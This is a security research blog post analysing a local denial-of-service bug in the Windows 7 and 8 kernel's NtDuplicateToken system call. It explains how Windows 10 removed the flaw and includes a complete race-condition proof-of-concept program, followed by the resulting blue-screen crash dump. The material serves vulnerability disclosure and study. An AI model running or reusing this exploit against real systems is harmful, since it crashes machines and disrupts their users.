Windows Kernel Local Denial-of-Service #3: nt!NtDuplicateToken (Windows 7-8)

This is the third post in a series about unpatched local Windows Kernel Denial-of-Service bugs. The list of previous posts published so far is as follows:

As opposed to the two issues discussed before, today’s bug is not in the graphical subsystem (win32k.sys), but in the core kernel module: ntoskrnl.exe, and more specifically in the handler of the nt!NtDuplicateToken system call (under the same name). An equivalent bug can also be found in the nt!NtCreateToken system call, but since it requires the SeCreateTokenPrivilege privilege, it cannot be triggered by a regular user, and hence is not of much interest to us.

According to MSDN, the definition of the syscall is as follows:

The vulnerability in question is caused by an unprotected access to the user-controlled pointer passed through the ObjectAttributes parameter. In fact, the argument is referenced several times in the system call handler; first, it is passed down to the nt!SeCaptureSecurityQos routine, and later to nt!SepDuplicateToken. In both those cases, reading from the memory area is guarded by the necessary try/except blocks. However, there is also a third read performed directly in the top-level syscall handler:

The short assembly snippet can be translated to the following C code:

if (ObjectAttributes == NULL || ObjectAttributes->SecurityDescriptor == NULL) {
  SepAppendAdminAceToTokenAcl(Token);
}

Here, there is no exception handling enabled, meaning that if we manage to get the access to the SecurityDescriptor field to fail, the whole system will crash with a BSoD. In order to trigger the condition, we have to perform a race condition attack: while the initial accesses to user-mode memory should succeed, the last one should yield an exception. Therefore, the relevant memory area must be locked or unmapped within the small window between the respective memory reads. As a side effect, the exploit works most reliably on machines with two or more CPU cores.

Interestingly, while the bug was present in Windows 7 and 8, it got refactored out in Windows 10. In the latest version of the operating system, the corresponding code construct is quite different:

As we can see, instead of dereferencing the ObjectAttributes input argument, the function only tests a local var_1A variable (which is beyond the direct control of user-mode). Where is the variable initialized? As it turns, in a newly introduced SeCaptureObjectAttributeSecurityDescriptorPresent function:

The sole purpose of this new routine is to sanitize the ObjectAttributes pointer, check that it is not NULL and that the SecurityDescriptor field is also not NULL. If all these conditions are met, the var_1A variable is set to 1, and otherwise it remains equal to 0. This simple refactoring eliminates both the double-fetch condition (which doesn’t appear to be too dangerous here), and the unhandled access of user-mode memory.

Anyway, a final working proof-of-concept code for Windows 7 and 8 is shown below:

#include <Windows.h>
#include <winternl.h>
#include <cstdio>

extern "C"
NTSTATUS WINAPI NtDuplicateToken(
  _In_  HANDLE             ExistingTokenHandle,
  _In_  ACCESS_MASK        DesiredAccess,
  _In_  POBJECT_ATTRIBUTES ObjectAttributes,
  _In_  BOOLEAN            EffectiveOnly,
  _In_  TOKEN_TYPE         TokenType,
  _Out_ PHANDLE            NewTokenHandle
  );

namespace globals {
  POBJECT_ATTRIBUTES Attributes;
}  // namespace globals

DWORD ThreadRoutine(LPVOID lpParameter) {
  DWORD flOldProtect;

  // Indefinitely alternate between R/W and NOACCESS rights.
  while (1) {
    VirtualProtect(globals::Attributes, sizeof(OBJECT_ATTRIBUTES), PAGE_NOACCESS, &flOldProtect);
    VirtualProtect(globals::Attributes, sizeof(OBJECT_ATTRIBUTES), PAGE_READWRITE, &flOldProtect);
  }
}

int main() {
  // Open the current process token.
  HANDLE hToken;
  BOOL st = OpenProcessToken(GetCurrentProcess(), GENERIC_READ, &hToken);
  if (!st) {
    printf("OpenThreadToken failed, %d\n", GetLastError());
    return 1;
  }

  // Allocate memory for the structure whose privileges are being flipped.
  globals::Attributes = (POBJECT_ATTRIBUTES)VirtualAlloc(NULL, sizeof(OBJECT_ATTRIBUTES), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  globals::Attributes->Length = sizeof(OBJECT_ATTRIBUTES);

  // Create the racing thread.
  CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ThreadRoutine, NULL, 0, NULL);

  // Infinite loop trying to trigger the unhandled exception.
  while (1) {
    HANDLE hNewToken;
    NTSTATUS ntst = NtDuplicateToken(hToken, TOKEN_QUERY, globals::Attributes, TRUE, TokenPrimary, &hNewToken);

    if (NT_SUCCESS(ntst)) {
      CloseHandle(hNewToken);
    } else if (ntst != STATUS_ACCESS_VIOLATION) {
      printf("NtDuplicateToken failed, %x\n", ntst);
      CloseHandle(hToken);
      return 1;
    }
  }

  return 0;
}

Starting the above program on Windows 7 32-bit triggers the following blue screen:

The full crash summary is as follows:

KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck.  Usually the exception address pinpoints
the driver/function that caused the problem.  Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003.  This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG.  This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG.  This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 81885cd3, The address that the exception occurred at
Arg3: a3057b28, Trap Frame
Arg4: 00000000

Debugging Details:
------------------

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%08lx referenced memory at 0x%08lx. The memory could not be %s.

FAULTING_IP: 
nt!NtDuplicateToken+230
81885cd3 395810          cmp     dword ptr [eax+10h],ebx

TRAP_FRAME:  a3057b28 -- (.trap 0xffffffffa3057b28)
ErrCode = 00000000
eax=000d0000 ebx=00000000 ecx=d334d923 edx=acc30e20 esi=a334cc50 edi=00000000
eip=81885cd3 esp=a3057b9c ebp=a3057c14 iopl=0         nv up ei pl nz na pe nc
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206
nt!NtDuplicateToken+0x230:
81885cd3 395810          cmp     dword ptr [eax+10h],ebx ds:0023:000d0010=00000000
Resetting default scope

DEFAULT_BUCKET_ID:  WIN7_DRIVER_FAULT

BUGCHECK_STR:  0x8E

PROCESS_NAME:  NtDuplicateTok

CURRENT_IRQL:  2

ANALYSIS_VERSION: 6.3.9600.17237 (debuggers(dbg).140716-0327) x86fre

LAST_CONTROL_TRANSFER:  from 816f3dff to 8168f9d8

STACK_TEXT:  
a30570dc 816f3dff 00000003 7031a80f 00000065 nt!RtlpBreakWithStatusInstruction
a305712c 816f48fd 00000003 a3057530 00000000 nt!KiBugCheckDebugBreak+0x1c
a30574f0 816f3c9c 0000008e c0000005 81885cd3 nt!KeBugCheck2+0x68b
a3057514 816c92f7 0000008e c0000005 81885cd3 nt!KeBugCheckEx+0x1e
a3057ab8 81652996 a3057ad4 00000000 a3057b28 nt!KiDispatchException+0x1ac
a3057b20 8165294a a3057c14 81885cd3 badb0d00 nt!CommonDispatchException+0x4a
a3057bdc 8185e289 aac8efc0 00000034 acc30d01 nt!KiExceptionExit+0x192
a3057c14 81651db6 00000008 00000008 000d0000 nt!ObpCloseHandle+0x7f
a3057c14 77946c74 00000008 00000008 000d0000 nt!KiSystemServicePostCall
0031fcc4 7794547c 013955eb 0000002c 00000008 ntdll!KiFastSystemCallRet
0031fcc8 013955eb 0000002c 00000008 000d0000 ntdll!ZwDuplicateToken+0xc
0031fde8 0139240a 00000001 004f7ba8 004f7bf8 NtDuplicateToken!main+0xeb
0031fe34 013925ed 0031fe48 7786ef1c 7ffdf000 NtDuplicateToken!__tmainCRTStartup+0x11a
0031fe3c 7786ef1c 7ffdf000 0031fe88 7796367a NtDuplicateToken!mainCRTStartup+0xd
0031fe48 7796367a 7ffdf000 77a51ab2 00000000 kernel32!BaseThreadInitThunk+0xe
0031fe88 7796364d 0138fcbc 7ffdf000 00000000 ntdll!__RtlUserThreadStart+0x70
0031fea0 00000000 0138fcbc 7ffdf000 00000000 ntdll!_RtlUserThreadStart+0x1b